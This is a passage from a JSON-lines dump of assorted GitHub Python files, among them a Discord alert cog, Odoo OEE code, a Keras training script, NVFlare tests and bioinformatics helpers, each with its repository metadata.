parent[i])\n","repo_name":"cpwoo/CodeTest","sub_path":"Python/boj/shortestPath/2211.py","file_name":"2211.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"37869603267","text":"from discord import Member\nfrom discord.ext import commands\nfrom time import time\n\nWEEK = 24 * 3600 * 7\n\n\ndef age(snowflake: int) -> int:\n timestamp = (snowflake >> 22) + 1420070400000\n\n return round(time() - (timestamp // 1000))\n\n\nclass Alerts(commands.Cog):\n \"\"\"A cog for alerting when new users join, and welcoming them.\"\"\"\n\n def __init__(self, bot: commands.Bot):\n self.bot = bot\n\n @commands.Cog.listener()\n async def on_member_join(self, member: Member):\n if member.bot:\n return\n\n acc_age = age(member.id)\n\n if acc_age <= WEEK:\n channel = self.bot.get_channel(self.bot.cfg.module(\"alerts\")[\"channel\"])\n\n s = acc_age % 60\n m = (acc_age // 60) % 60\n h = (acc_age // 3600) % 24\n d = (acc_age // 86400) % 7\n await channel.send(\n f\"NEW USER: {member.mention} ({member.id}) was created in the last week! ({d}d {h}h {m}m {s}s ago)\"\n )\n\n ## Welcome channel message\n\n config = self.bot.get_channel(self.bot.cfg.module(\"welcome\"))\n channel = self.bot.get_channel(config[\"channel\"])\n content = config[\"message\"].format(member=str(member))\n\n await channel.send(content)\n\n\ndef setup(bot: commands.Bot):\n bot.add_cog(Alerts(bot))\n","repo_name":"vcokltfre/ResearchBot3","sub_path":"cogs/alerts.py","file_name":"alerts.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15682542441","text":"import math\nimport matplotlib.pyplot as plt\nimport sys\nif len(sys.argv) != 2:\n print('Incorrect usage. Refer README.')\n exit()\nf = open(sys.argv[1])\nlines = f.readlines()\nframes = []\nO = []\nvs = []\nfor i in range(1, len(lines)):\n tokens = lines[i].split() \n if tokens[0] == 'END':\n frames.append(O)\n O = []\n continue\n x = float(tokens[5])\n y = float(tokens[6])\n z = float(tokens[7])\n O.append([x, y, z, tokens[1]])\n\nvs = frames\n\nn = len(frames) # Number of time steps\nN = len(frames[0]) # Number of atoms.\n\nprint(n)\nprint(N)\n\nres = []\n\nfor i in range(n - 1):\n s = 0\n cnt = 0\n for j in range(n - 1 - i):\n tmp = 0\n for k in range(N):\n tmp = tmp + (vs[j][k][0] * vs[j + i][k][0] + vs[j][k][1] * vs[j + i][k][1] + vs[j][k][2] * vs[j + i][k][2])\n tmp = tmp / N\n s = s + tmp\n cnt = cnt + 1\n if cnt == 0:\n break\n s = s / cnt\n res.append(s)\nplt.title('Velocity correlation vs Time interval plot')\nplt.xlabel('Time interval(t)')\nplt.ylabel('Velocity correlation')\nplt.plot(res)\nplt.show()","repo_name":"swetanjal/Lennard-Jones-System","sub_path":"src/velocity_corr.py","file_name":"velocity_corr.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74232317581","text":"import re\n\nfrom obfuscator import utils\n\n\nclass ForElement:\n @staticmethod\n def getStartOnBlock(block, s, f):\n pat = r'for\\s*\\([\\w\\d_]+\\s+([\\w\\d_]+).*\\)'\n r = re.compile(pat)\n vars = r.search(block[s:f])\n try:\n return s + vars.start(), vars.group(1)\n except:\n return None, None\n\n @staticmethod\n def forWithBrackets(block, s):\n s = utils.getIndexOfEndRightBracersSeq(block, s, ['(', ')'])\n return True if '{' in block[s: s + 20] else False\n","repo_name":"Tevronis/SSU.4course","sub_path":"obfuscator/obfuscator/elements/forElement.py","file_name":"forElement.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40753815885","text":"# -*- coding: utf-8 -*-\nimport datetime\nfrom collections import defaultdict\n\nfrom openerp import models, api, fields, _\nfrom openerp.exceptions import UserError\nfrom openerp.tools import DEFAULT_SERVER_DATE_FORMAT\n\n\nhelp_period = \"\"\" Number of days from today. 1 for 24h, 2 for 48h ... \"\"\"\n\n\nclass oee(models.Model):\n \"\"\"\n Overall Equipment Effectiveness\n \"\"\"\n _name = 'oee'\n _description = 'Overall Equipment Effectiveness'\n\n _sql_constraints = [\n ('period_1_positive', 'CHECK(period_1 >= 0)',\n 'Period 1 must be positive'),\n ('period_2_positive', 'CHECK(period_2 >= 0)',\n 'Period 2 must be positive'),\n ]\n\n @api.depends('period_1', 'period_2')\n @api.one\n def _compute_oee(self):\n self.oee_period_1 = self._get_oee(self.period_1)\n self.oee_period_2 = self._get_oee(self.period_2)\n\n @api.depends('resource_id')\n @api.one\n def _compute_last_mo(self):\n last_timetracking = self.env['resource.timetracking'].search([\n ('resource_id', '=', self.resource_id.id),\n ('activity', '=', 'production'),\n ], order='start_date desc', limit=1)\n self.last_mo_id = last_timetracking.wo_id.mo_id.id\n\n @api.depends('resource_id')\n @api.one\n def _compute_last_activity(self):\n timetracking_obj = self.env['resource.timetracking']\n last_timetracking = timetracking_obj.search([\n ('resource_id', '=', self.resource_id.id),\n ], order='start_date desc', limit=1)\n self.last_activity = last_timetracking.activity\n self.last_activity_start_date = last_timetracking.start_date\n self.last_time_ids = timetracking_obj.search([\n ('resource_id', '=', self.resource_id.id),\n ], limit=10, order=\"start_date desc\").ids\n\n resource_id = fields.Many2one('mrp.resource', required=True)\n name = fields.Char(related='resource_id.name', store=True, readonly=True)\n area_id = fields.Many2one('mrp.area', related='resource_id.area_id',\n store=True, readonly=True)\n period_1 = fields.Integer(string='Period 1', required=True,\n help=help_period)\n oee_period_1 = fields.Float(compute='_compute_oee', string='OEE period 1')\n period_2 = fields.Integer(string='Period 2', required=True,\n help=help_period)\n oee_period_2 = fields.Float(compute='_compute_oee', string='OEE period 2')\n last_mo_id = fields.Many2one('mrp.manufacturingorder', string=\"Last MO\",\n compute='_compute_last_mo')\n last_activity = fields.Char(compute='_compute_last_activity')\n last_activity_start_date = fields.Datetime(\n string=\"Last activity date\",\n compute='_compute_last_activity')\n last_time_ids = fields.One2many('resource.timetracking',\n compute='_compute_last_activity')\n\n def _get_oee(self, period):\n self.ensure_one()\n if not period:\n return 0\n calendar_line_obj = self.env['calendar.line']\n start_date = date_for_period(period)\n end_date = datetime.date.today() + datetime.timedelta(days=1)\n end_date_str = end_date.strftime(DEFAULT_SERVER_DATE_FORMAT)\n open_time_lines = calendar_line_obj.search([\n ('real_start_date', '>=', start_date),\n ('real_end_date', '<=', end_date_str),\n ('calendar_id', '=', self.resource_id.calendar_id.id),\n ])\n open_time = sum(x.real_hour for x in open_time_lines)\n if open_time == 0:\n raise UserError(_('Resource is closed for the period'))\n timetracking_obj = self.env['resource.timetracking']\n production_time_lines = timetracking_obj.search([\n ('resource_id', '=', self.resource_id.id),\n ('start_date', '>=', start_date),\n ('activity', '=', 'production'),\n ])\n production_time = sum(x.time for x in production_time_lines)\n oee_value = 100 * production_time / open_time\n return round(oee_value, 2)\n\n @api.model\n def get_timetracking_totals(self, start, end):\n calendar_line_obj = self.env['calendar.line']\n tt = defaultdict(lambda: defaultdict(int))\n tt_lines = self.env['resource.timetracking'].search([\n ('start_date', '>=', start),\n ('end_date', '<=', end),\n ])\n open_time_lines = calendar_line_obj.search([\n ('real_start_date', '>=', start),\n ('real_end_date', '<=', end),\n ])\n open_time_by_calendar = defaultdict(int)\n for line in open_time_lines:\n open_time_by_calendar[line.calendar_id.id] += line.real_hour\n for line in tt_lines:\n open_time = open_time_by_calendar[line.resource_id.calendar_id.id]\n activity = line.activity\n tt[line.resource_id.id][activity] += (\n 0 if not open_time\n else 100 * line.time / open_time)\n return tt\n\n @api.multi\n def write(self, vals):\n if 'area_id' in vals:\n vals.pop('area_id')\n raise UserError(_('You can\\'t change area from there'))\n return super(oee, self).write(vals)\n\n\ndef date_for_period(period):\n \"\"\" Retourne le jour aujourd'hui - period dans un format\n utilisable par la recherche \"\"\"\n if not period:\n return fields.Date.today()\n else:\n start_date = datetime.date.today() - datetime.timedelta(days=period)\n return start_date.strftime(DEFAULT_SERVER_DATE_FORMAT)\n","repo_name":"kazacube-mziouadi/ceci","sub_path":"OpenPROD/openprod-addons/oee/oee.py","file_name":"oee.py","file_ext":"py","file_size_in_byte":5562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26382477364","text":"from keras.applications import Xception, MobileNet\r\nfrom keras.layers import Dense, GlobalAveragePooling2D, Dropout, Reshape, Conv2D, Activation\r\nfrom keras.models import Model, save_model, load_model\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.callbacks import TensorBoard, Callback\r\nfrom keras.utils.generic_utils import CustomObjectScope\r\nimport keras\r\nimport os\r\n\r\n\r\nMODEL_DIR = '..\\\\data\\\\model'\r\nTRAIN_DIR = '..\\\\data\\\\train'\r\nVAL_DIR = '..\\\\data\\\\validation'\r\n\r\nCLASS_NUMBER = 128\r\nIMAGE_SIZE = (224, 224)\r\nBATCH_SIZE = 16\r\nEPOCH_CUT = 6\r\nAUTO_SAVE_PER_EPOCH = 2\r\n\r\nval_datagen = ImageDataGenerator(rescale=1/255)\r\ntrain_datagen = ImageDataGenerator(rescale=1/255,\r\n rotation_range=30,\r\n width_shift_range=0.1,\r\n height_shift_range=0.1,\r\n shear_range=0.1,\r\n zoom_range=0.1,\r\n channel_shift_range=10,\r\n horizontal_flip=True)\r\ntrain_generator = train_datagen.flow_from_directory(TRAIN_DIR, target_size=IMAGE_SIZE, batch_size=BATCH_SIZE)\r\nval_generator = val_datagen.flow_from_directory(VAL_DIR, target_size=IMAGE_SIZE, batch_size=BATCH_SIZE)\r\n\r\n\r\nclass AutoSave(Callback):\r\n def __init__(self, model, N):\r\n self.model = model\r\n self.N = N\r\n\r\n def on_epoch_end(self, epoch, logs={}):\r\n if epoch % self.N == 0 and epoch != 0:\r\n save_model(model, os.path.join(MODEL_DIR, 'model' + str(epoch) + '.h5'))\r\n print('saved model to ' + os.path.join(MODEL_DIR, 'model' + str(epoch) + '.h5'))\r\n\r\n\r\ndef define_model():\r\n # base_model = Xception(weights='imagenet', include_top=False)\r\n # x = base_model.output\r\n # x = GlobalAveragePooling2D()(x)\r\n # x = Dropout(0.5)(x)\r\n # x = Dense(1024, activation='relu')(x)\r\n # x = Dropout(0.5)(x)\r\n # prediction = Dense(CLASS_NUMBER, activation='softmax')(x)\r\n\r\n\r\n # base_model = MobileNet(include_top=False, weights='imagenet', input_shape=(224, 224, 3))\r\n # x = base_model.output\r\n # x = GlobalAveragePooling2D()(x)\r\n # x = Reshape((1, 1, 1024))(x)\r\n # x = Dropout(0.5)(x)\r\n # x = Conv2D(CLASS_NUMBER, (1, 1), padding='same')(x)\r\n # x = Activation('softmax')(x)\r\n # prediction = Reshape((CLASS_NUMBER,))(x)\r\n #\r\n # model = Model(inputs=base_model.input, outputs=prediction)\r\n\r\n base_model = MobileNet(include_top=False, weights='imagenet', input_shape=(224, 224, 3))\r\n x = base_model.input\r\n for i, layer in enumerate(base_model.layers[1:]):\r\n if (i+3) % 6 == 0:\r\n x = Dropout(0.2)(x)\r\n x = layer(x)\r\n\r\n x = GlobalAveragePooling2D()(x)\r\n x = Reshape((1, 1, 1024))(x)\r\n x = Dropout(0.5)(x)\r\n x = Conv2D(CLASS_NUMBER, (1, 1), padding='same')(x)\r\n x = Activation('softmax')(x)\r\n prediction = Reshape((CLASS_NUMBER,))(x)\r\n\r\n model = Model(inputs=base_model.input, outputs=prediction)\r\n\r\n # for i, layer in enumerate(model.layers):\r\n # print(str(i) + ' ' + layer.name)\r\n #\r\n # for i, layer in enumerate(base_model.layers):\r\n # print(str(i) + ' ' + layer.name)\r\n\r\n model.compile(optimizer='rmsprop', loss='categorical_crossentropy', metrics=['accuracy'])\r\n return model\r\n\r\n\r\nif input('define new model? (y/n) ') == 'y':\r\n model = define_model()\r\nelse:\r\n with CustomObjectScope({'relu6': keras.applications.mobilenet.relu6,\r\n 'DepthwiseConv2D': keras.applications.mobilenet.DepthwiseConv2D}):\r\n model = load_model(os.path.join(MODEL_DIR, 'model.h5'))\r\n\r\n# print(model.summary())\r\n\r\ntb_callback = TensorBoard(log_dir='..\\\\data\\\\graph')\r\nas_callback = AutoSave(model, EPOCH_CUT//AUTO_SAVE_PER_EPOCH)\r\n\r\nmodel.fit_generator(generator=train_generator, steps_per_epoch=len(train_generator)//EPOCH_CUT,\r\n validation_data=val_generator, validation_steps=len(val_generator)//EPOCH_CUT,\r\n epochs=20*EPOCH_CUT, verbose=1,\r\n callbacks=[tb_callback, as_callback])\r\nsave_model(model, os.path.join(MODEL_DIR, 'model.h5'))\r\n\r\n# print(model.evaluate_generator(val_generator, steps=len(val_generator)))\r\n","repo_name":"JackLongKing/hgobox_intern","sub_path":"Others/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":4260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"228960586","text":"class Solution:\n def firstMissingPositive(self, nums: List[int]) -> int:\n n = len(nums)\n for i in range(len(nums)):\n while 1 <= nums[i] <= n and nums[i] != i + 1:\n v = nums[i] - 1\n if nums[v] == v + 1:\n break\n nums[i], nums[v] = nums[v], nums[i]\n for i, v in enumerate(nums):\n if i + 1 != v:\n return i + 1\n return n + 1\n","repo_name":"okoks9011/problem_solving","sub_path":"leetcode/41.py","file_name":"41.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"2412040696","text":"### This code simplifies the colours in our chart image.\n\nfrom PIL import Image\nimport colours\n\nclass Black_remover:\n # Fields.\n input_image = None\n img = None\n pxx = None\n output = None\n\n # Setters.\n def set_input_image(self, s):\n self.input_image = s\n def set_img(self):\n self.img = Image.open(self.input_image)\n def set_pxx(self):\n self.pxx = self.img.load()\n def set_output(self):\n self.output = \"noblack_\"+self.input_image\n def set_all(self, s):\n self.set_input_image(s)\n self.set_img()\n self.set_pxx()\n self.set_output()\n\n # Getter.\n def save_to_output(self):\n self.img.save(self.output)\n\n # Ronseal.\n def remove_black(self):\n for i in range(self.img.size[0]):\n for j in range(self.img.size[1]):\n pixel = self.pxx[i, j]\n right = colours.black\n up = colours.black\n left = colours.black\n down = colours.black\n if(j != self.img.size[1]-1):\n right = self.pxx[i, j+1]\n if(i != 0):\n up = self.pxx[i-1, j]\n if(j != 0):\n left = self.pxx[i, j-1]\n if(i != self.img.size[0]-1):\n down = self.pxx[i+1, j]\n if(colours.is_black(pixel)):\n if(colours.is_yellow(right)):\n self.pxx[i, j] = colours.yellow\n elif(colours.is_white(right)):\n self.pxx[i, j] = colours.white\n elif(colours.is_yellow(up)):\n self.pxx[i, j] = colours.yellow\n elif(colours.is_white(up)):\n self.pxx[i, j] = colours.white\n elif(colours.is_white(left)):\n self.pxx[i, j] = colours.white\n elif(colours.is_yellow(left)):\n self.pxx[i, j] = colours.yellow\n elif(colours.is_white(down)):\n self.pxx[i, j] = colours.white\n elif(colours.is_yellow(down)):\n self.pxx[i, j] = colours.yellow\n\n # Tests whether the image still contains any black pixels.\n def contains_black(self):\n for i in range(self.img.size[0]):\n for j in range(self.img.size[1]):\n if(colours.is_black(self.pxx[i, j])):\n return(True)\n return(False)\n\n # Runs the unit tests.\n # For this to work, the correct test files must be present\n # in this directory.\n def test(self):\n self.set_all(\"simplified_chart_test1.png\")\n self.remove_black()\n assert(self.contains_black() == False)\n print(\"Tests passed!\")\n\n # Runs a demo.\n # For this to work, the correct test files must be present\n # in this directory.\n def demo(self):\n self.set_all(\"simplified_chart_test1.png\")\n self.remove_black()\n self.save_to_output()\n\ndef test():\n program = Black_remover()\n program.test()\n\ndef demo():\n program = Black_remover()\n program.demo()\n\n# test()\n# demo()\n","repo_name":"tomhosker/further-automating-maritime-navigation","sub_path":"comparator/black_remover.py","file_name":"black_remover.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29128937775","text":"import cv2\nimport numpy as np\nimport os\nimport glob2 as glob\n\n'''\n\nData pre-processing details:\n\nThe COVIDx dataset was used to train all tested deep neural network architectures.\nAs a pre-processing step, the chest CXR images were cropped (top 8% of the image) prior to training in order to mitigate commonly-found embedded \ntextual information in the CXR images.\n\n'''\n\ndef crop_top(img, percent=0.15):\n offset = int(img.shape[0] * percent)\n return img[offset:]\n\ndef central_crop(img):\n size = min(img.shape[0], img.shape[1])\n offset_h = int((img.shape[0] - size) / 2)\n offset_w = int((img.shape[1] - size) / 2)\n return img[offset_h:offset_h + size, offset_w:offset_w + size]\n\n\n'''\nThis function applies the Pre-processing functions over the whole train dataset\n'''\n\ndef process_and_save_images(dataset_dir, output_dir, size, label, top_percent=0.08, crop=True):\n if not os.path.exists(dataset_dir):\n print(f\"Nessuna directory trovata: {dataset_dir}\")\n return\n # lasses = os.listdir(dataset_dir)\n count = 0 \n saves = 0\n fail = 0 \n # Cicla nelle sottocartelle \n # for class_name in classes:\n # # print(class_name)\n class_dir = os.path.join(dataset_dir, label)\n # # print(class_dir)\n # if not os.path.isdir(class_dir): # controlla se le directory sono valide\n # continue\n output_class_dir = os.path.join(output_dir, label) # Crea la directory di salvataggio\n # print(output_class_dir)\n image_files = os.listdir(class_dir) # Salva tutte le directory complete con le immagini\n # print(image_files)\n for image_file in image_files: # itera per ogni immagine e va applicare le funzioni\n count +=1\n image_path = os.path.join(class_dir, image_file)\n img = cv2.imread(image_path)\n # print(img.shape)\n img = crop_top(img, percent=top_percent)\n if crop:\n img = central_crop(img)\n img = cv2.resize(img, (size, size))\n output_path = os.path.join(output_class_dir, image_file)\n print(count, output_path)\n save = cv2.imwrite(output_path, img)\n if save:\n # print(f\"Immagine salvata: {output_path}\")\n saves +=1\n else:\n # (f\"Immagine non saltata: {output_path}\")\n fail +=1\n print('Numero totali di immagini procesate e salvate', saves)\n print('Numero di immagini non salvate', fail)\n\n\nif __name__ == '__main__':\n dataset_dir = 'C:\\\\Users\\\\marco\\\\Desktop\\\\Local_Documents\\\\data\\\\COVIDx-splitted-resized-112\\\\train\\\\' # Directory MAIN output\n output_dir = 'C:\\\\Users\\\\marco\\\\Desktop\\\\Local_Documents\\\\data\\\\COVIDx-splitted-resized-112-process-augm\\\\train\\\\' # Directory MAIN output\n process_and_save_images(dataset_dir=dataset_dir, output_dir=output_dir, size=112, top_percent=0.08, label = 'normal')","repo_name":"giocoal/CXR-ACGAN-chest-xray-generator-covid19-pneumonia","sub_path":"CXR Classification/Script/image_preprocessing.py","file_name":"image_preprocessing.py","file_ext":"py","file_size_in_byte":2838,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"40440990483","text":"import pytest\n\nfrom nvflare.apis.controller_spec import Task\nfrom nvflare.apis.shareable import Shareable\n\n\ndef create_task(name, data=None, timeout=0, before_task_sent_cb=None, result_received_cb=None, task_done_cb=None):\n data = Shareable() if data is None else data\n task = Task(\n name=name,\n data=data,\n timeout=timeout,\n before_task_sent_cb=before_task_sent_cb,\n result_received_cb=result_received_cb,\n task_done_cb=task_done_cb,\n )\n return task\n\n\ndef _get_create_task_cases():\n test_cases = [\n (\n {\"timeout\": -1},\n ValueError,\n \"timeout must be >= 0, but got -1.\",\n ),\n (\n {\"timeout\": 1.1},\n TypeError,\n \"timeout must be an int, but got <class 'float'>.\",\n ),\n (\n {\"before_task_sent_cb\": list()},\n TypeError,\n \"before_task_sent must be a callable function.\",\n ),\n (\n {\"result_received_cb\": list()},\n TypeError,\n \"result_received must be a callable function.\",\n ),\n (\n {\"task_done_cb\": list()},\n TypeError,\n \"task_done must be a callable function.\",\n ),\n ]\n return test_cases\n\n\nclass TestTask:\n @pytest.mark.parametrize(\"kwargs,error,msg\", _get_create_task_cases())\n def test_create_task_with_invalid_input(self, kwargs, error, msg):\n with pytest.raises(error, match=msg):\n _ = create_task(name=\"__test_task\", **kwargs)\n\n def test_set_task_prop(self):\n task = create_task(name=\"__test_task\")\n task.set_prop(\"hello\", \"world\")\n assert task.props[\"hello\"] == \"world\"\n\n def test_get_task_prop(self):\n task = create_task(name=\"__test_task\")\n task.props[\"hello\"] = \"world\"\n assert task.get_prop(\"hello\") == \"world\"\n\n def test_set_task_prop_invalid_key(self):\n task = create_task(name=\"__test_task\")\n with pytest.raises(ValueError, match=\"Keys start with __ is reserved. Please use other key.\"):\n task.set_prop(\"__test\", \"world\")\n","repo_name":"NVIDIA/NVFlare","sub_path":"tests/unit_test/apis/controller_spec_test.py","file_name":"controller_spec_test.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","stars":455,"dataset":"github-code","pt":"47"} +{"seq_id":"43048041499","text":"\n# Find the prime factorization of a number.\n# Command line utility.\n# Josh Barney\n# joshuareedbarney@gmail.com\n# January 15th 2020\n\nimport math\nimport sys\n\ndef factor(n):\n if n==0:\n return\n index = 0\n sqrtOfN = math.sqrt(n) + 1\n arr = []\n\n while n != 1:\n i = 2\n while n % i != 0:\n if i > sqrtOfN:\n arr.append(int(n))\n return arr\n i += 1\n arr.append(int(i))\n n //= int(i)\n sqrtOfN = math.sqrt(n) + 1\n \n return arr\n \ndef main():\n if len(sys.argv) < 2:\n print(\"Please provide a number to factor\")\n return\n\n n = int(sys.argv[1])\n \n if n <= 0:\n print(f'{n}: \\n')\n return\n\n arr = sorted(factor(n))\n\n print(n, ':', end='', sep='')\n\n for item in arr:\n print(' ', item, end='', sep='')\n \n print()\n\n\nif __name__=='__main__':\n main()\n","repo_name":"joshuareedbarney/factor","sub_path":"src/factor.py","file_name":"factor.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"15867576868","text":"import os\nimport random\nimport argparse\nimport mutate.main as mt\nfrom mutate.init import init_target_model\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--dataset\",\n \"-dataset\",\n help=\"dataset path\",\n type=str,\n default=\"\",\n )\n parser.add_argument(\n \"--output\",\n \"-output\",\n help=\"output path\",\n type=str,\n default=\"\",\n )\n parser.add_argument(\n \"--cuda\",\n \"-cuda\",\n help=\"cuda device\",\n type=str,\n default=\"0\",\n )\n parser.add_argument(\n \"--class_mode\",\n \"-class_mode\",\n help=\"select class mode\",\n type=str,\n default=\"farthest\",\n )\n parser.add_argument(\n \"--selected_num\",\n \"-selected_num\",\n help=\"the number of mutated programs in each class\",\n type=int,\n default=\"200\",\n )\n parser.add_argument(\n \"--object_nearest\",\n \"-object_nearest\",\n help=\"whether select object nearest\",\n action='store_true'\n )\n parser.add_argument(\n \"--dist_ratio\",\n \"-dist_ratio\",\n help=\"ratio of two distance, when it is None, \\\n only try to minimize the distance to object, \\\n when it is 0, only try to maximize the distance to private code\",\n type=int,\n default=0,\n )\n parser.add_argument(\n \"--epoch\",\n \"-epoch\",\n help=\"epoch of mutation\",\n type=int,\n default=15,\n )\n parser.add_argument(\n \"--feature_num\",\n \"-feature_num\",\n help=\"the number of features extracted from object code\",\n type=int,\n default=10,\n )\n parser.add_argument(\n \"--random_max_try\",\n \"-random_max_try\",\n help=\"max try times of random mutation\",\n type=int,\n default=256,\n )\n args = parser.parse_args()\n print(\"Running parameters %s\", args)\n\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.cuda\n init_target_model()\n extensions = ('.txt')\n\n for root, dirs, _ in os.walk(args.dataset):\n for dir in dirs:\n alter_list = []\n new_path = os.path.join(root, dir)\n for subdir, _, files in os.walk(new_path):\n for file in files:\n ext = os.path.splitext(file)[-1].lower()\n if ext in extensions:\n alter_list.append(os.path.join(subdir, file))\n selected_files = random.sample(alter_list, args.selected_num)\n for s in selected_files:\n mt.mutate(s, args.dataset, os.path.join(args.output, \"mutated\", dir),\n os.path.join(args.output, \"log\"), class_mode=args.class_mode,\n object_nearest=args.object_nearest, dist_ratio=args.dist_ratio,\n epoch=args.epoch, feature_num=args.feature_num,\n random_max_try=args.random_max_try)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ZhenlanJi/Unlearnable_Code","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"36759663612","text":"from slugify import slugify\nfrom requests_html import HTMLSession\n\n\ndef crawl_one(url):\n\n with HTMLSession() as session:\n response = session.get(url)\n\n name = response.html.xpath('//*[@id=\"big_title\"]')[0].text\n content = response.html.xpath('//*[@id=\"content_col\"]/div[3]/div[3]')\n image_url = 'https://www.techcult.ru' + response.html.xpath('//*[@id=\"content_col\"]/div[3]/div[3]/div[1]/div/img/@src')[0]\n pub_date = response.html.xpath('//*[@id=\"content_col\"]/div[3]/div[2]/meta/@content')[0]\n\n my_content = ''\n short_description = ''\n for element in content:\n my_content +=f'<{element.tag}>' + element.text + f'<{element.tag}>'\n if len(short_description) < 200:\n short_description += element.text + ' '\n\n# my_content = ''\n# breakpoint()\n# for element in content:\n# my_content += element\n image_name = slugify(name)[:25]\n img_type = image_url.split('.')[-1]\n\n img_path = f'images/{image_name}.{img_type}'\n# breakpoint()\n with open(f'media/{img_path}', 'wb') as f:\n with HTMLSession() as session:\n response = session.get(image_url)\n f.write(response.content)\n\n article = {\n 'name': name,\n 'content': my_content,\n 'short_description': short_description.strip(),\n 'main_image': img_path,\n 'pub_date': pub_date,\n }\n\n print(article)\n# print(content)\n# print(images)\n# print(pub_date)\n","repo_name":"wizand0/some_news","sub_path":"project/news/crawlers/bbc_crawler.py","file_name":"bbc_crawler.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24953132421","text":"import re\nimport time\nimport timeit\nimport random\nimport statistics\nimport numpy as np\nimport pandas as pd\n\nfrom Bio import SeqIO\nfrom Bio.Seq import Seq\nfrom collections import Counter, namedtuple\nfrom contextlib import redirect_stdout\nfrom SharedInfo import currDataset, datasetPath, matchPattern, cutterA\n\n\ndef parseFasta(currDataset, datasetPath, matchPattern, matchMode=False):\n print(f\"...start parsing {currDataset} fasta file ...\")\n start = time.time()\n fasta_sequences = SeqIO.parse(open(datasetPath), \"fasta\")\n seqs = (\n matchMode\n and [i.seq for i in fasta_sequences if re.search(matchPattern, i.id)]\n or [i.seq for i in fasta_sequences]\n )\n end = time.time()\n print(f\"...cost{ end-start } sec to parse fasta file ...\")\n return seqs\n\n\ndef parseSeq(seq, cutter=cutterA):\n targetNum = seq.count(cutter)\n parseResult = seq.split(cutter)\n fragmentLength = [len(read) for read in parseResult]\n return targetNum, parseResult, fragmentLength\n\n\ndef parseSeqByCutter(parseFastaSeqs, cutter=cutterA):\n start = time.time()\n print(f\"...start parse seq by cutter: { cutter }\")\n fragmentsLenList = []\n fragmentsSeqList = []\n for seq in parseFastaSeqs:\n seq = seq.upper()\n targetNum, fragmentSeq, fragmentLength = parseSeq(seq, cutter)\n fragmentsLenList.append(fragmentLength)\n fragmentsSeqList.append(fragmentSeq)\n end = time.time()\n print(f\"...cost { end-start } sec to cut sequence\")\n return fragmentsLenList, fragmentsSeqList\n\n\ndef readSeqId(fileName):\n fasta_sequences = SeqIO.parse(open(fileName), \"fasta\")\n seqIds = [i.id for i in fasta_sequences]\n return seqIds\n\n\ndef seqInfo(dataName, seqs):\n seqNum = len(seqs)\n sumLen = sum([len(i) for i in seqs])\n print(f\"{dataName} dataset\\n number of sequence:{seqNum}\\n total length:{sumLen}\\n\")\n\n\ndef randomSeqGenerator(length):\n seq = \"\".join(random.choice(\"ACTG\") for _ in range(length))\n return Seq(seq)\n\n\ndef seqFileGenerator(parseFastaSeq):\n \"\"\"\n change parseFastaSeq [startIdx: endIdx]\n \"\"\"\n with open(\"unMatchSeqCompare_10.txt\", \"w\") as f:\n with redirect_stdout(f):\n print(f\"Before Dfam RefSeq\")\n print(f\"seq10\\t{parseFastaSeq[551477-600:551477]}\")\n print(f\"seq11\\t{parseFastaSeq[558499-600:558499]}\\n\")\n\n print(f\"Dfam Hit RefSeq\")\n print(f\"seq10\\t{parseFastaSeq[551477:551961]}\")\n print(f\"seq11\\t{parseFastaSeq[558499:558984]}\\n\")\n","repo_name":"Jasmine-fe/RepeatFi","sub_path":"src/Util/SeqUtil.py","file_name":"SeqUtil.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29921236997","text":"import numpy as np\nfrom scipy.stats import norm\nfrom matplotlib.colors import Normalize\nfrom matplotlib import cm\n\n# define global stuff\nval_x = []\nval_y = []\nerr_x = []\nerr_y = []\ndistr = []\ndistr2 = []\n\n# returns array of data\ndef dataToArray(inputFile):\n\tfile = open(inputFile,\"r\")\n\tdata = file.readlines()\n\tfor line in data:\n\t\tvalue = line.strip().split(\",\") #assumes values separated by comma\n\t\tval_x.append(float(value[0]))\n\t\tval_y.append(float(value[1]))\t\n\t\terr_x.append(float(value[2]))\n\t\terr_y.append(float(value[3]))\n\t\tdistr.append(float(value[4]))\n\t\tdistr2.append(float(value[5]))\n\t\ndef makeColours( vals ):\n\tcolours = np.zeros( (len(vals),3) )\n\tnorm = Normalize( vmin=vals.min(), vmax=vals.max() )\n\n\t#Can put any colormap you like here.\n\tcolours = [cm.ScalarMappable( norm=norm, cmap='jet').to_rgba( val ) for val in vals]\n\treturn 